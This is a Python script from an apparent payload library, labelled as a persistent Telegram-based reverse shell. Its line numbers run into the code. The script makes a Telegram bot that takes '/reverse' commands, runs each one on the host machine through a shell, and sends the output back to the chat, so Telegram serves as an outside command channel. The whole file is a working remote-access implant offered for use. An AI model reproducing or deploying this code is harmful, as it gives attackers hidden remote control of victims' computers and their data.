Path: blob/master/payloads/library/execution/Persistent_Reverse_Shell-Telegram_Based/connection.py
2971 views
from telebot import TeleBot, types1import subprocess23# Set here the Telegram bot token4BOT_TOKEN = ""5bot = TeleBot(BOT_TOKEN)67commands = [8types.BotCommand("/reverse", "/reverse <shell_command>")9]1011bot.set_my_commands(commands=commands)1213@bot.message_handler(commands=['reverse'])14def reverse_shell(message):15command = extract_command(message.text)16if command != "":17print(f"Command received: {command}")18out = run_command(command)19if len(out) > 1000:20bot.reply_to(message, "Message too long...")21chunk_size = 100022for i in range(0, len(out), chunk_size):23bot.send_message(message.chat.id, out[i:i+chunk_size])24else:25bot.reply_to(message, out)2627def extract_command(message):28command_prefix = "/reverse"29if message.startswith(command_prefix):30return message[len(command_prefix):].strip()31else:32return None3334def run_command(command):35try:36result = subprocess.check_output(command, shell=True, text=True)37return result.strip()38except subprocess.CalledProcessError as e:39return f"Some error: {e}"404142bot.infinity_polling()434445